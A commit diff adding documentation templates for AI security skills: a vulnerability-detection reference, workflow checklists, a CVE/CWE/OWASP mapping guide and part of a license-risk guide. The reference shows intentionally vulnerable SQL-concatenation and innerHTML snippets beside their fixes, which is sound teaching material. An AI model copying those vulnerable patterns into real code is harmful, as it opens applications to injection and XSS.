Initial commit

This commit is contained in:
Zhongwei Li
2025-11-29 17:51:02 +08:00
commit ff1f4bd119
252 changed files with 72682 additions and 0 deletions

View File

@@ -0,0 +1,550 @@
# Reference Document Template
This file demonstrates how to structure detailed reference material that Claude loads on-demand.
**When to use this reference**: Include a clear statement about when Claude should consult this document.
For example: "Consult this reference when analyzing Python code for security vulnerabilities and needing detailed remediation patterns."
**Document purpose**: Briefly explain what this reference provides that's not in SKILL.md.
---
## Table of Contents
**For documents >100 lines, always include a table of contents** to help Claude navigate quickly.
- [When to Use References](#when-to-use-references)
- [Document Organization](#document-organization)
- [Detailed Technical Content](#detailed-technical-content)
- [Security Framework Mappings](#security-framework-mappings)
- [OWASP Top 10](#owasp-top-10)
- [CWE Mappings](#cwe-mappings)
- [MITRE ATT&CK](#mitre-attck)
- [Remediation Patterns](#remediation-patterns)
- [Advanced Configuration](#advanced-configuration)
- [Examples and Code Samples](#examples-and-code-samples)
---
## When to Use References
**Move content from SKILL.md to references/** when:
1. **Content exceeds 100 lines** - Keep SKILL.md concise
2. **Framework-specific details** - Detailed OWASP/CWE/MITRE mappings
3. **Advanced user content** - Deep technical details for expert users
4. **Lookup-oriented content** - Rule libraries, configuration matrices, comprehensive lists
5. **Language-specific patterns** - Separate files per language/framework
6. **Historical context** - Old patterns and deprecated approaches
**Keep in SKILL.md**:
- Core workflows (top 3-5 use cases)
- Decision points and branching logic
- Quick start guidance
- Essential security considerations
---
## Document Organization
### Structure for Long Documents
For references >100 lines:
```markdown
# Title
**When to use**: Clear trigger statement
**Purpose**: What this provides
## Table of Contents
- Links to all major sections
## Quick Reference
- Key facts or commands for fast lookup
## Detailed Content
- Comprehensive information organized logically
## Framework Mappings
- OWASP, CWE, MITRE ATT&CK references
## Examples
- Code samples and patterns
```
### Section Naming Conventions
- Use **imperative** or **declarative** headings
- ✅ "Detecting SQL Injection" not "How to detect SQL Injection"
- ✅ "Common Patterns" not "These are common patterns"
- Make headings **searchable** and **specific**
---
## Detailed Technical Content
This section demonstrates the type of detailed content that belongs in references rather than SKILL.md.
### Example: Comprehensive Vulnerability Detection
#### SQL Injection Detection Patterns
**Pattern 1: String Concatenation in Queries**
```python
# Vulnerable pattern
query = "SELECT * FROM users WHERE id = " + user_id
cursor.execute(query)
# Detection criteria:
# - SQL keyword (SELECT, INSERT, UPDATE, DELETE)
# - String concatenation operator (+, f-string)
# - Variable user input (request params, form data)
# Severity: HIGH
# CWE: CWE-89
# OWASP: A03:2021 - Injection
```
**Remediation**:
```python
# Fixed: Parameterized query
query = "SELECT * FROM users WHERE id = ?"
cursor.execute(query, (user_id,))
# OR using ORM
user = User.objects.get(id=user_id)
```
**Pattern 2: Unsafe String Formatting**
```python
# Vulnerable patterns
query = f"SELECT * FROM users WHERE name = '{username}'"
query = "SELECT * FROM users WHERE name = '%s'" % username
query = "SELECT * FROM users WHERE name = '{}'".format(username)
# All three patterns are vulnerable to SQL injection
```
#### Cross-Site Scripting (XSS) Detection
**Pattern 1: Unescaped Output in Templates**
```javascript
// Vulnerable: Direct HTML injection
element.innerHTML = userInput;
document.write(userInput);
// Vulnerable: React dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{__html: userComment}} />
// Detection criteria:
# - Direct DOM manipulation (innerHTML, document.write)
# - React dangerouslySetInnerHTML with user data
# - Template engines with autoescaping disabled
// Severity: HIGH
// CWE: CWE-79
// OWASP: A03:2021 - Injection
```
**Remediation**:
```javascript
// Fixed: Escaped output
element.textContent = userInput; // Auto-escapes
// Fixed: Sanitization library
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userComment);
<div dangerouslySetInnerHTML={{__html: clean}} />
```
---
## Security Framework Mappings
This section provides comprehensive security framework mappings for findings.
### OWASP Top 10
Map security findings to OWASP Top 10 (2021) categories:
| Category | Title | Common Vulnerabilities |
|----------|-------|----------------------|
| **A01:2021** | Broken Access Control | Authorization bypass, privilege escalation, IDOR |
| **A02:2021** | Cryptographic Failures | Weak crypto, plaintext storage, insecure TLS |
| **A03:2021** | Injection | SQL injection, XSS, command injection, LDAP injection |
| **A04:2021** | Insecure Design | Missing security controls, threat modeling gaps |
| **A05:2021** | Security Misconfiguration | Default configs, verbose errors, unnecessary features |
| **A06:2021** | Vulnerable Components | Outdated libraries, unpatched dependencies |
| **A07:2021** | Auth & Session Failures | Weak passwords, session fixation, missing MFA |
| **A08:2021** | Software & Data Integrity | Unsigned updates, insecure CI/CD, deserialization |
| **A09:2021** | Logging & Monitoring Failures | Insufficient logging, no alerting, log injection |
| **A10:2021** | SSRF | Server-side request forgery, unvalidated redirects |
**Usage**: When reporting findings, map to primary OWASP category and reference the identifier (e.g., "A03:2021 - Injection").
### CWE Mappings
Map to relevant Common Weakness Enumeration categories for precise vulnerability classification:
#### Injection Vulnerabilities
- **CWE-78**: OS Command Injection
- **CWE-79**: Cross-site Scripting (XSS)
- **CWE-89**: SQL Injection
- **CWE-90**: LDAP Injection
- **CWE-91**: XML Injection
- **CWE-94**: Code Injection
#### Authentication & Authorization
- **CWE-287**: Improper Authentication
- **CWE-288**: Authentication Bypass Using Alternate Path
- **CWE-290**: Authentication Bypass by Spoofing
- **CWE-294**: Authentication Bypass by Capture-replay
- **CWE-306**: Missing Authentication for Critical Function
- **CWE-307**: Improper Restriction of Excessive Authentication Attempts
- **CWE-352**: Cross-Site Request Forgery (CSRF)
#### Cryptographic Issues
- **CWE-256**: Plaintext Storage of Password
- **CWE-259**: Use of Hard-coded Password
- **CWE-261**: Weak Encoding for Password
- **CWE-321**: Use of Hard-coded Cryptographic Key
- **CWE-326**: Inadequate Encryption Strength
- **CWE-327**: Use of Broken or Risky Cryptographic Algorithm
- **CWE-329**: Not Using a Random IV with CBC Mode
- **CWE-798**: Use of Hard-coded Credentials
#### Input Validation
- **CWE-20**: Improper Input Validation
- **CWE-73**: External Control of File Name or Path
- **CWE-434**: Unrestricted Upload of File with Dangerous Type
- **CWE-601**: URL Redirection to Untrusted Site
#### Sensitive Data Exposure
- **CWE-200**: Information Exposure
- **CWE-209**: Information Exposure Through Error Message
- **CWE-312**: Cleartext Storage of Sensitive Information
- **CWE-319**: Cleartext Transmission of Sensitive Information
- **CWE-532**: Information Exposure Through Log Files
**Usage**: Include CWE identifier in all vulnerability reports for standardized classification.
### MITRE ATT&CK
Reference relevant tactics and techniques for threat context:
#### Initial Access (TA0001)
- **T1190**: Exploit Public-Facing Application
- **T1133**: External Remote Services
- **T1078**: Valid Accounts
#### Execution (TA0002)
- **T1059**: Command and Scripting Interpreter
- **T1203**: Exploitation for Client Execution
#### Persistence (TA0003)
- **T1098**: Account Manipulation
- **T1136**: Create Account
- **T1505**: Server Software Component
#### Privilege Escalation (TA0004)
- **T1068**: Exploitation for Privilege Escalation
- **T1548**: Abuse Elevation Control Mechanism
#### Defense Evasion (TA0005)
- **T1027**: Obfuscated Files or Information
- **T1140**: Deobfuscate/Decode Files or Information
- **T1562**: Impair Defenses
#### Credential Access (TA0006)
- **T1110**: Brute Force
- **T1555**: Credentials from Password Stores
- **T1552**: Unsecured Credentials
#### Discovery (TA0007)
- **T1083**: File and Directory Discovery
- **T1046**: Network Service Scanning
#### Collection (TA0009)
- **T1005**: Data from Local System
- **T1114**: Email Collection
#### Exfiltration (TA0010)
- **T1041**: Exfiltration Over C2 Channel
- **T1567**: Exfiltration Over Web Service
**Usage**: When identifying vulnerabilities, consider which ATT&CK techniques an attacker could use to exploit them.
---
## Remediation Patterns
This section provides specific remediation guidance for common vulnerability types.
### SQL Injection Remediation
**Step 1: Identify vulnerable queries**
- Search for string concatenation in SQL queries
- Check for f-strings or format() with SQL keywords
- Review all database interaction code
**Step 2: Apply parameterized queries**
```python
# Python with sqlite3
cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
# Python with psycopg2 (PostgreSQL)
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
# Python with SQLAlchemy (ORM)
from sqlalchemy import text
result = session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id})
```
**Step 3: Validate and sanitize input** (defense in depth)
```python
import re
# Validate input format
if not re.match(r'^\d+$', user_id):
raise ValueError("Invalid user ID format")
# Use ORM query builders
user = User.query.filter_by(id=user_id).first()
```
**Step 4: Implement least privilege**
- Database user should have minimum required permissions
- Use read-only accounts for SELECT operations
- Never use admin/root accounts for application queries
### XSS Remediation
**Step 1: Enable auto-escaping**
- Most modern frameworks escape by default
- Ensure auto-escaping is not disabled
**Step 2: Use framework-specific safe methods**
```javascript
// React: Use JSX (auto-escapes)
<div>{userInput}</div>
// Vue: Use template syntax (auto-escapes)
<div>{{ userInput }}</div>
// Angular: Use property binding (auto-escapes)
<div [textContent]="userInput"></div>
```
**Step 3: Sanitize when HTML is required**
```javascript
import DOMPurify from 'dompurify';
// Sanitize HTML content
const clean = DOMPurify.sanitize(userHTML, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'],
ALLOWED_ATTR: []
});
```
**Step 4: Content Security Policy (CSP)**
```html
<!-- Add CSP header -->
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'
```
---
## Advanced Configuration
This section contains detailed configuration options and tuning parameters.
### Example: SAST Tool Configuration
```yaml
# Advanced security scanner configuration
scanner:
# Severity threshold
severity_threshold: MEDIUM
# Rule configuration
rules:
enabled:
- sql-injection
- xss
- hardcoded-secrets
disabled:
- informational-only
# False positive reduction
confidence_threshold: HIGH
exclude_patterns:
- "*/test/*"
- "*/tests/*"
- "*/node_modules/*"
- "*.test.js"
- "*.spec.ts"
# Performance tuning
max_file_size_kb: 2048
timeout_seconds: 300
parallel_jobs: 4
# Output configuration
output_format: json
include_code_snippets: true
max_snippet_lines: 10
```
---
## Examples and Code Samples
This section provides comprehensive code examples for various scenarios.
### Example 1: Secure API Authentication
```python
# Secure API key handling
import os
from functools import wraps
from flask import Flask, request, jsonify
app = Flask(__name__)
# Load API key from environment (never hardcode)
VALID_API_KEY = os.environ.get('API_KEY')
if not VALID_API_KEY:
raise ValueError("API_KEY environment variable not set")
def require_api_key(f):
@wraps(f)
def decorated_function(*args, **kwargs):
api_key = request.headers.get('X-API-Key')
if not api_key:
return jsonify({'error': 'API key required'}), 401
# Constant-time comparison to prevent timing attacks
import hmac
if not hmac.compare_digest(api_key, VALID_API_KEY):
return jsonify({'error': 'Invalid API key'}), 403
return f(*args, **kwargs)
return decorated_function
@app.route('/api/secure-endpoint')
@require_api_key
def secure_endpoint():
return jsonify({'message': 'Access granted'})
```
### Example 2: Secure Password Hashing
```python
# Secure password storage with bcrypt
import bcrypt
def hash_password(password: str) -> str:
"""Hash a password using bcrypt."""
# Generate salt and hash password
salt = bcrypt.gensalt(rounds=12) # Cost factor: 12 (industry standard)
hashed = bcrypt.hashpw(password.encode('utf-8'), salt)
return hashed.decode('utf-8')
def verify_password(password: str, hashed: str) -> bool:
"""Verify a password against a hash."""
return bcrypt.checkpw(
password.encode('utf-8'),
hashed.encode('utf-8')
)
# Usage
stored_hash = hash_password("user_password")
is_valid = verify_password("user_password", stored_hash) # True
```
### Example 3: Secure File Upload
```python
# Secure file upload with validation
import os
import magic
from werkzeug.utils import secure_filename
ALLOWED_EXTENSIONS = {'pdf', 'png', 'jpg', 'jpeg'}
ALLOWED_MIME_TYPES = {
'application/pdf',
'image/png',
'image/jpeg'
}
MAX_FILE_SIZE = 5 * 1024 * 1024 # 5 MB
def is_allowed_file(filename: str, file_content: bytes) -> bool:
"""Validate file extension and MIME type."""
# Check extension
if '.' not in filename:
return False
ext = filename.rsplit('.', 1)[1].lower()
if ext not in ALLOWED_EXTENSIONS:
return False
# Check MIME type (prevent extension spoofing)
mime = magic.from_buffer(file_content, mime=True)
if mime not in ALLOWED_MIME_TYPES:
return False
return True
def handle_upload(file):
"""Securely handle file upload."""
# Check file size
file.seek(0, os.SEEK_END)
size = file.tell()
file.seek(0)
if size > MAX_FILE_SIZE:
raise ValueError("File too large")
# Read content for validation
content = file.read()
file.seek(0)
# Validate file type
if not is_allowed_file(file.filename, content):
raise ValueError("Invalid file type")
# Sanitize filename
filename = secure_filename(file.filename)
# Generate unique filename to prevent overwrite attacks
import uuid
unique_filename = f"{uuid.uuid4()}_{filename}"
# Save to secure location (outside web root)
upload_path = os.path.join('/secure/uploads', unique_filename)
file.save(upload_path)
return unique_filename
```
---
## Best Practices for Reference Documents
1. **Start with "When to use"** - Help Claude know when to load this reference
2. **Include table of contents** - For documents >100 lines
3. **Use concrete examples** - Code samples with vulnerable and fixed versions
4. **Map to frameworks** - OWASP, CWE, MITRE ATT&CK for context
5. **Provide remediation** - Don't just identify issues, show how to fix them
6. **Organize logically** - Group related content, use clear headings
7. **Keep examples current** - Use modern patterns and current framework versions
8. **Be concise** - Even in references, challenge every sentence

View File

@@ -0,0 +1,253 @@
# Workflow Checklist Template
This template demonstrates workflow patterns for security operations. Copy and adapt these checklists to your specific skill needs.
## Pattern 1: Sequential Workflow Checklist
Use this pattern for operations that must be completed in order, step-by-step.
### Security Assessment Workflow
Progress:
[ ] 1. Identify application entry points and attack surface
[ ] 2. Map authentication and authorization flows
[ ] 3. Identify data flows and sensitive data handling
[ ] 4. Review existing security controls
[ ] 5. Document findings with framework references (OWASP, CWE)
[ ] 6. Prioritize findings by severity (CVSS scores)
[ ] 7. Generate report with remediation recommendations
Work through each step systematically. Check off completed items.
---
## Pattern 2: Conditional Workflow
Use this pattern when the workflow branches based on findings or conditions.
### Vulnerability Remediation Workflow
1. Identify vulnerability type
- If SQL Injection → See [sql-injection-remediation.md](sql-injection-remediation.md)
- If XSS (Cross-Site Scripting) → See [xss-remediation.md](xss-remediation.md)
- If Authentication flaw → See [auth-remediation.md](auth-remediation.md)
- If Authorization flaw → See [authz-remediation.md](authz-remediation.md)
- If Cryptographic issue → See [crypto-remediation.md](crypto-remediation.md)
2. Assess severity using CVSS calculator
- If CVSS >= 9.0 → Priority: Critical (immediate action)
- If CVSS 7.0-8.9 → Priority: High (action within 24h)
- If CVSS 4.0-6.9 → Priority: Medium (action within 1 week)
- If CVSS < 4.0 → Priority: Low (action within 30 days)
3. Apply appropriate remediation pattern
4. Validate fix with security testing
5. Document changes and update security documentation
---
## Pattern 3: Iterative Workflow
Use this pattern for operations that repeat across multiple targets or items.
### Code Security Review Workflow
For each file in the review scope:
1. Identify security-sensitive operations (auth, data access, crypto, input handling)
2. Check against secure coding patterns for the language
3. Flag potential vulnerabilities with severity rating
4. Map findings to CWE and OWASP categories
5. Suggest specific remediation approaches
6. Document finding with code location and fix priority
Continue until all files in scope have been reviewed.
---
## Pattern 4: Feedback Loop Workflow
Use this pattern when validation and iteration are required.
### Secure Configuration Generation Workflow
1. Generate initial security configuration based on requirements
2. Run validation script: `./scripts/validate_config.py config.yaml`
3. Review validation output:
- Note all errors (must fix)
- Note all warnings (should fix)
- Note all info items (consider)
4. Fix identified issues in configuration
5. Repeat steps 2-4 until validation passes with zero errors
6. Review warnings and determine if they should be addressed
7. Apply configuration once validation is clean
**Validation Loop**: Run validator → Fix errors → Repeat until clean
---
## Pattern 5: Parallel Analysis Workflow
Use this pattern when multiple independent analyses can run concurrently.
### Comprehensive Security Scan Workflow
Run these scans in parallel:
**Static Analysis**:
[ ] 1a. Run SAST scan (Semgrep/Bandit)
[ ] 1b. Run dependency vulnerability scan (Safety/npm audit)
[ ] 1c. Run secrets detection (Gitleaks/TruffleHog)
[ ] 1d. Run license compliance check
**Dynamic Analysis**:
[ ] 2a. Run DAST scan (ZAP/Burp)
[ ] 2b. Run API security testing
[ ] 2c. Run authentication/authorization testing
**Infrastructure Analysis**:
[ ] 3a. Run infrastructure-as-code scan (Checkov/tfsec)
[ ] 3b. Run container image scan (Trivy/Grype)
[ ] 3c. Run configuration review
**Consolidation**:
[ ] 4. Aggregate all findings
[ ] 5. Deduplicate and correlate findings
[ ] 6. Prioritize by risk (CVSS + exploitability + business impact)
[ ] 7. Generate unified security report
---
## Pattern 6: Research and Documentation Workflow
Use this pattern for security research and documentation tasks.
### Threat Modeling Workflow
Research Progress:
[ ] 1. Identify system components and boundaries
[ ] 2. Map data flows between components
[ ] 3. Identify trust boundaries
[ ] 4. Enumerate assets (data, services, credentials)
[ ] 5. Apply STRIDE framework to each component:
- Spoofing threats
- Tampering threats
- Repudiation threats
- Information disclosure threats
- Denial of service threats
- Elevation of privilege threats
[ ] 6. Map threats to MITRE ATT&CK techniques
[ ] 7. Identify existing mitigations
[ ] 8. Document residual risks
[ ] 9. Recommend additional security controls
[ ] 10. Generate threat model document
Work through each step systematically. Check off completed items.
---
## Pattern 7: Compliance Validation Workflow
Use this pattern for compliance checks against security standards.
### Security Compliance Audit Workflow
**SOC 2 Controls Review**:
[ ] 1. Review access control policies (CC6.1, CC6.2, CC6.3)
[ ] 2. Verify logical access controls implementation (CC6.1)
[ ] 3. Review authentication mechanisms (CC6.1)
[ ] 4. Verify encryption implementation (CC6.1, CC6.7)
[ ] 5. Review audit logging configuration (CC7.2)
[ ] 6. Verify security monitoring (CC7.2, CC7.3)
[ ] 7. Review incident response procedures (CC7.3, CC7.4)
[ ] 8. Verify backup and recovery processes (A1.2, A1.3)
**Evidence Collection**:
[ ] 9. Collect policy documents
[ ] 10. Collect configuration screenshots
[ ] 11. Collect audit logs
[ ] 12. Document control gaps
[ ] 13. Generate compliance report
---
## Pattern 8: Incident Response Workflow
Use this pattern for security incident handling.
### Security Incident Response Workflow
**Detection and Analysis**:
[ ] 1. Confirm security incident (rule out false positive)
[ ] 2. Determine incident severity (SEV1/2/3/4)
[ ] 3. Identify affected systems and data
[ ] 4. Preserve evidence (logs, memory dumps, network captures)
**Containment**:
[ ] 5. Isolate affected systems (network segmentation)
[ ] 6. Disable compromised accounts
[ ] 7. Block malicious indicators (IPs, domains, hashes)
[ ] 8. Implement temporary compensating controls
**Eradication**:
[ ] 9. Identify root cause
[ ] 10. Remove malicious artifacts (malware, backdoors, webshells)
[ ] 11. Patch vulnerabilities exploited
[ ] 12. Reset compromised credentials
**Recovery**:
[ ] 13. Restore systems from clean backups (if needed)
[ ] 14. Re-enable systems with monitoring
[ ] 15. Verify system integrity
[ ] 16. Resume normal operations
**Post-Incident**:
[ ] 17. Document incident timeline
[ ] 18. Identify lessons learned
[ ] 19. Update security controls to prevent recurrence
[ ] 20. Update incident response procedures
[ ] 21. Communicate with stakeholders
---
## Usage Guidelines
### When to Use Workflow Checklists
**Use checklists for**:
- Complex multi-step operations
- Operations requiring specific order
- Security assessments and audits
- Incident response procedures
- Compliance validation tasks
**Don't use checklists for**:
- Simple single-step operations
- Highly dynamic exploratory work
- Operations that vary significantly each time
### Adapting This Template
1. **Copy relevant pattern** to your skill's SKILL.md or create new reference file
2. **Customize steps** to match your specific security tool or process
3. **Add framework references** (OWASP, CWE, NIST) where applicable
4. **Include tool-specific commands** for automation
5. **Add decision points** where manual judgment is required
### Checklist Best Practices
- **Be specific**: "Run semgrep --config=auto ." not "Scan the code"
- **Include success criteria**: "Validation passes with 0 errors"
- **Reference standards**: Link to OWASP, CWE, NIST where relevant
- **Show progress**: Checkbox format helps track completion
- **Provide escape hatches**: "If validation fails, see troubleshooting.md"
### Integration with Feedback Loops
Combine checklists with validation scripts for maximum effectiveness:
1. Create checklist for the workflow
2. Provide validation script that checks quality
3. Include "run validator" step in checklist
4. Loop: Complete step → Validate → Fix issues → Re-validate
This pattern dramatically improves output quality through systematic validation.

View File

@@ -0,0 +1,348 @@
# CVE to CWE and OWASP Top 10 Mapping
## Table of Contents
- [Common Vulnerability Patterns](#common-vulnerability-patterns)
- [OWASP Top 10 2021 Mapping](#owasp-top-10-2021-mapping)
- [CWE Top 25 Mapping](#cwe-top-25-mapping)
- [Dependency Vulnerability Categories](#dependency-vulnerability-categories)
## Common Vulnerability Patterns
### Injection Vulnerabilities in Dependencies
**OWASP**: A03:2021 - Injection
**CWE**: CWE-89 (SQL Injection), CWE-78 (OS Command Injection)
Common in:
- ORM libraries with unsafe query construction
- Template engines with code execution features
- Database drivers with insufficient input sanitization
**Example CVEs**:
- CVE-2021-44228 (Log4Shell) - Remote Code Execution via JNDI injection
- CVE-2022-22965 (Spring4Shell) - RCE via Spring Framework
### Deserialization Vulnerabilities
**OWASP**: A08:2021 - Software and Data Integrity Failures
**CWE**: CWE-502 (Deserialization of Untrusted Data)
Common in:
- Java serialization libraries (Jackson, XStream, etc.)
- Python pickle
- PHP unserialize
**Example CVEs**:
- CVE-2017-5638 (Apache Struts) - Remote Code Execution
- CVE-2019-12384 (Jackson) - Polymorphic typing RCE
### Authentication and Cryptography Flaws
**OWASP**: A02:2021 - Cryptographic Failures
**CWE**: CWE-327 (Broken Crypto), CWE-311 (Missing Encryption)
Common in:
- Outdated cryptographic libraries
- JWT libraries with algorithm confusion
- SSL/TLS implementations with weak ciphers
**Example CVEs**:
- CVE-2022-21449 (Java ECDSA) - Signature validation bypass
- CVE-2020-36518 (Jackson) - Denial of Service via deeply nested objects
### XML External Entity (XXE)
**OWASP**: A05:2021 - Security Misconfiguration
**CWE**: CWE-611 (XML External Entities)
Common in:
- XML parsers with external entity processing enabled by default
- SOAP/XML-RPC libraries
**Example CVEs**:
- CVE-2021-44832 (Log4j) - Remote Code Execution
- CVE-2018-1000613 (dom4j) - XXE vulnerability
## OWASP Top 10 2021 Mapping
### A01:2021 - Broken Access Control
**Related CWEs**:
- CWE-22: Path Traversal
- CWE-284: Improper Access Control
- CWE-639: Insecure Direct Object Reference
**Dependency Examples**:
- File handling libraries with path traversal
- Authorization libraries with bypass vulnerabilities
- API frameworks with missing access controls
### A02:2021 - Cryptographic Failures
**Related CWEs**:
- CWE-327: Use of Broken Cryptography
- CWE-328: Weak Hash
- CWE-331: Insufficient Entropy
**Dependency Examples**:
- Outdated OpenSSL/BoringSSL versions
- Weak hash implementations (MD5, SHA1)
- Insecure random number generators
### A03:2021 - Injection
**Related CWEs**:
- CWE-89: SQL Injection
- CWE-78: OS Command Injection
- CWE-94: Code Injection
**Dependency Examples**:
- ORM libraries with unsafe queries
- Template engines with code execution
- Shell command utilities
### A04:2021 - Insecure Design
**Related CWEs**:
- CWE-209: Information Exposure Through Error Messages
- CWE-256: Plaintext Storage of Password
- CWE-918: SSRF
**Dependency Examples**:
- Libraries with verbose error messages
- Frameworks with insecure defaults
- HTTP clients vulnerable to SSRF
### A05:2021 - Security Misconfiguration
**Related CWEs**:
- CWE-611: XXE
- CWE-16: Configuration
- CWE-2: Environmental Security
**Dependency Examples**:
- XML parsers with XXE by default
- Web frameworks with debug mode enabled
- Default credentials in libraries
### A06:2021 - Vulnerable and Outdated Components
**Related CWEs**:
- CWE-1035: 2014 Top 25 - Insecure Interaction
- CWE-1104: Use of Unmaintained Third Party Components
**This is the primary focus of SCA tools like Black Duck**
Key risks:
- Dependencies with known CVEs
- Unmaintained or abandoned libraries
- Transitive dependencies with vulnerabilities
- License compliance issues
### A07:2021 - Identification and Authentication Failures
**Related CWEs**:
- CWE-287: Improper Authentication
- CWE-306: Missing Authentication
- CWE-798: Hard-coded Credentials
**Dependency Examples**:
- OAuth/OIDC libraries with bypass vulnerabilities
- JWT libraries with algorithm confusion
- Session management libraries with fixation issues
### A08:2021 - Software and Data Integrity Failures
**Related CWEs**:
- CWE-502: Deserialization of Untrusted Data
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere
- CWE-494: Download of Code Without Integrity Check
**Dependency Examples**:
- Serialization libraries (Jackson, pickle, etc.)
- Package managers vulnerable to dependency confusion
- Libraries fetching code over HTTP
### A09:2021 - Security Logging and Monitoring Failures
**Related CWEs**:
- CWE-778: Insufficient Logging
- CWE-117: Log Injection
- CWE-532: Information Exposure Through Log Files
**Dependency Examples**:
- Logging libraries with injection vulnerabilities (Log4Shell)
- Frameworks with insufficient audit logging
- Libraries exposing sensitive data in logs
### A10:2021 - Server-Side Request Forgery (SSRF)
**Related CWEs**:
- CWE-918: SSRF
**Dependency Examples**:
- HTTP client libraries with insufficient validation
- URL parsing libraries with bypass issues
- Image processing libraries fetching remote resources
## CWE Top 25 Mapping
### Top 5 Most Dangerous in Dependencies
1. **CWE-502: Deserialization of Untrusted Data**
- Found in: Java (Jackson, XStream), Python (pickle), .NET
- CVSS typically: 9.0-10.0
- Remediation: Upgrade to patched versions, avoid deserializing untrusted data
2. **CWE-78: OS Command Injection**
- Found in: Shell utilities, process execution libraries
- CVSS typically: 8.0-9.8
- Remediation: Use parameterized APIs, input validation
3. **CWE-89: SQL Injection**
- Found in: Database drivers, ORM libraries
- CVSS typically: 8.0-9.8
- Remediation: Use parameterized queries, upgrade to patched versions
4. **CWE-79: Cross-site Scripting (XSS)**
- Found in: Template engines, HTML sanitization libraries
- CVSS typically: 6.1-7.5
- Remediation: Context-aware output encoding, upgrade libraries
5. **CWE-611: XML External Entity (XXE)**
- Found in: XML parsers (dom4j, Xerces, etc.)
- CVSS typically: 7.5-9.1
- Remediation: Disable external entity processing, upgrade parsers
## Dependency Vulnerability Categories
### Remote Code Execution (RCE)
**Severity**: CRITICAL
**CVSS Range**: 9.0-10.0
**Common Patterns**:
- Deserialization vulnerabilities
- Template injection
- Expression language injection
- JNDI injection (Log4Shell)
**Remediation Priority**: IMMEDIATE
### Authentication Bypass
**Severity**: CRITICAL/HIGH
**CVSS Range**: 7.5-9.8
**Common Patterns**:
- JWT signature bypass
- OAuth implementation flaws
- Session fixation
- Hard-coded credentials
**Remediation Priority**: IMMEDIATE
### Information Disclosure
**Severity**: MEDIUM/HIGH
**CVSS Range**: 5.3-7.5
**Common Patterns**:
- Path traversal in file handlers
- XXE with data exfiltration
- Error messages exposing internals
- Memory disclosure bugs
**Remediation Priority**: HIGH
### Denial of Service (DoS)
**Severity**: MEDIUM
**CVSS Range**: 5.3-7.5
**Common Patterns**:
- Regular expression DoS (ReDoS)
- XML bomb attacks
- Resource exhaustion
- Algorithmic complexity attacks
**Remediation Priority**: MEDIUM (unless affecting critical services)
### Prototype Pollution (JavaScript)
**Severity**: HIGH
**CVSS Range**: 7.0-8.8
**Common Patterns**:
- Object merge/extend functions
- JSON parsing libraries
- Template engines
**Remediation Priority**: HIGH
## Supply Chain Attack Patterns
### Dependency Confusion
**CWE**: CWE-494 (Download of Code Without Integrity Check)
**Description**: Attacker publishes malicious package with same name as internal package to public registry.
**Detection**: Black Duck detects unexpected package sources and registry changes.
**Mitigation**:
- Use private registry with higher priority
- Implement package name reservations
- Enable registry allowlists
### Typosquatting
**CWE**: CWE-829 (Inclusion of Functionality from Untrusted Control Sphere)
**Description**: Malicious packages with names similar to popular packages.
**Detection**: Component quality analysis, community reputation scoring.
**Mitigation**:
- Review all new dependencies carefully
- Use dependency lock files
- Enable automated typosquatting detection
### Compromised Maintainer Accounts
**CWE**: CWE-1294 (Insecure Security Identifier Mechanism)
**Description**: Attacker gains access to legitimate package maintainer account.
**Detection**: Unexpected version updates, behavior changes, new maintainers.
**Mitigation**:
- Pin dependency versions
- Review all dependency updates
- Monitor for suspicious changes
## Remediation Priority Matrix
| Severity | Exploitability | Remediation Timeline |
|----------|---------------|---------------------|
| CRITICAL | High | 24-48 hours |
| HIGH | High | 1 week |
| HIGH | Low | 2 weeks |
| MEDIUM | High | 1 month |
| MEDIUM | Low | 3 months |
| LOW | Any | Next maintenance cycle |
**Factors influencing priority**:
- Exploit availability (PoC, Metasploit module, etc.)
- Attack surface (internet-facing vs. internal)
- Data sensitivity
- Compliance requirements
- Patch availability
## References
- [OWASP Top 10 2021](https://owasp.org/Top10/)
- [CWE Top 25](https://cwe.mitre.org/top25/)
- [NVD CVE Database](https://nvd.nist.gov/)
- [MITRE ATT&CK](https://attack.mitre.org/)
- [FIRST CVSS Calculator](https://www.first.org/cvss/calculator/3.1)

View File

@@ -0,0 +1,472 @@
# License Compliance Risk Assessment Guide
## Table of Contents
- [License Risk Categories](#license-risk-categories)
- [Common Open Source Licenses](#common-open-source-licenses)
- [License Compatibility](#license-compatibility)
- [Compliance Workflows](#compliance-workflows)
- [Legal Considerations](#legal-considerations)
## License Risk Categories
### High Risk - Copyleft (Strong)
**Licenses**: GPL-2.0, GPL-3.0, AGPL-3.0
**Characteristics**:
- Requires derivative works to be open-sourced under same license
- Source code distribution mandatory
- AGPL extends to network use (SaaS applications)
**Business Impact**: HIGH
- May require releasing proprietary code as open source
- Incompatible with most commercial software
- Legal review required for any usage
**Use Cases Where Allowed**:
- Internal tools (not distributed)
- Separate services with network boundaries
- Dual-licensed components (use commercial license)
**Example Compliance Violation**:
```
Product: Commercial SaaS Application
Dependency: GPL-licensed library linked into application
Issue: AGPL requires source code release for network-accessible software
Risk: Legal liability, forced open-sourcing
```
### Medium Risk - Weak Copyleft
**Licenses**: LGPL-2.1, LGPL-3.0, MPL-2.0, EPL-2.0
**Characteristics**:
- Copyleft applies only to modified library files
- Allows proprietary applications if library used as separate component
- Source modifications must be released
**Business Impact**: MEDIUM
- Safe if used as unmodified library (dynamic linking)
- Modifications require open-sourcing
- License compatibility considerations
**Compliance Requirements**:
- Keep library as separate, unmodified component
- If modified, release modifications under same license
- Attribute properly in documentation
**Example Safe Usage**:
```
Product: Commercial Application
Dependency: LGPL library via dynamic linking
Status: COMPLIANT
Reason: No modifications, used as separate component
```
### Low Risk - Permissive
**Licenses**: MIT, Apache-2.0, BSD-2-Clause, BSD-3-Clause
**Characteristics**:
- Minimal restrictions on use and distribution
- No copyleft requirements
- Attribution required
- Apache-2.0 includes patent grant
**Business Impact**: LOW
- Generally safe for commercial use
- Simple compliance requirements
- Industry standard for most projects
**Compliance Requirements**:
- Include license text in distribution
- Preserve copyright notices
- Apache-2.0: Include NOTICE file if present
### Minimal Risk - Public Domain / Unlicense
**Licenses**: CC0-1.0, Unlicense, Public Domain
**Characteristics**:
- No restrictions
